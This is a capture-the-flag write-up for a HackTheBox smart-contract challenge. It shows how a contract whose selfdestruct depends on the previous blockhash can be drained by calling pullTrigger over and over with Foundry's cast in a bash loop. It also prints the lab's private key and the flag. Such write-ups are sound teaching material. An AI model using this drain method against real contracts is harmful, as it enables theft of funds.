Russian Roulette

Challenge Description

Welcome to The Fray. This is a warm-up to test if you have what it takes to tackle the challenges of the realm. Are you brave enough?


Solution

Information Gathering

First I started the target instance, I got a single target with two open ports. To what services run on these ports, I decided to run an nmap scan on the ports that are given.

nmap -A -T4 -p 33484,41124 83.136.255.150

From the results of nmap, we can see that port 33484 is sandbox environment where the contract server is running.

On port 41124, the challenge handler which is a RPC service is running.

First I connected to the challenge handler, to get more information about the contract.

From the challenge handler, I got the following information:

Private key     :  0x6ca30395d6012c9c71f1f24ba95029cf2f59ff7d1ad62eddd17aece6d23799fa
Address         :  0x813Cd33aed3364b6791a326DCc94a0dd0cB1e0Db
Target contract :  0x8e2D890BfA477640328910d7C1E6168854FcCBCa
Setup contract  :  0xB2c469e6625263727d00aFa7fe29206568C41aaf

Code Analysis

Download the given file and extract it.

Setup.sol

This file sets up the contract. To solve this challenge, we have to get the balance of the target wallet to 0. Initially we have around 10 ether we have to bring it to 0 ether.

// Setup.sol
pragma solidity 0.8.23;

import {RussianRoulette} from "./RussianRoulette.sol";

contract Setup {
    RussianRoulette public immutable TARGET;

    constructor() payable {
        TARGET = new RussianRoulette{value: 10 ether}();
    }

    function isSolved() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

RussianRoulette.sol

This is the contract that we have to exploit. The code that we need to exploit is inside the pullTrigger() function. The selfdestruct() call will erase the code of the smart contract as well as send the all the ether that is left in the contract to the msg.sender. You can learn more about the selfdestruct() function here:

// RussianRoulette.sol
pragma solidity 0.8.23;

contract RussianRoulette {

    constructor() payable {
        // i need more bullets
    }

    function pullTrigger() public returns (string memory) {
        if (uint256(blockhash(block.number - 1)) % 10 == 7) {
            selfdestruct(payable(msg.sender)); // 💀
        } else {
		return "im SAFU ... for now";
	    }
    }
}

To invoke the selfdestruct() function, the following condition has to be satisfied:

uint256(blockhash(block.number - 1)) % 10 == 7

The above condition basically takes the previous blocks blockhash and converts it to uint256 form, then the resultant value undergoes a modulo 10 operation which should result in the value 7.

The vulnerability

The above mentioned condition can be satisfied by calling the pullTrigger() function repeatedly within a short amount of time, which satisfies the above condition.

Exploiting the Vulnerability

For interacting with the contract sandbox running on port 33484 in my case, I used Foundry's cast utility. You can install this utility by refering the following docs:

The syntax for interacting with the sandbox environment is as follows. We are trying to invoke the pullTrigger() function using the following command.

cast send <TARGET_CONTRACT> <FUNCTION> --rpc-url {RPC_URL} --private-key <PRIVATE_KEY>
cast send 0x8e2D890BfA477640328910d7C1E6168854FcCBCa 'pullTrigger()' --rpc-url http://83.136.255.150:33484/ --private-key 0x6ca30395d6012c9c71f1f24ba95029cf2f59ff7d1ad62eddd17aece6d23799fa

We can see that the above command executed successfully.

Now its time to call the pullTrigger() function multiple times in a short amount of time. For that i have created a for loop with bash, to execute the above command multiple times.

for _ in {0..10}; do cast send 0x8e2D890BfA477640328910d7C1E6168854FcCBCa 'pullTrigger()' --rpc-url http://83.136.255.150:33484/ --private-key 0x6ca30395d6012c9c71f1f24ba95029cf2f59ff7d1ad62eddd17aece6d23799fa; done

After executing the above command, You can get the flag from the RPC service.

Flag: HTB{99%_0f_g4mbl3rs_quit_b4_bigwin}

Last updated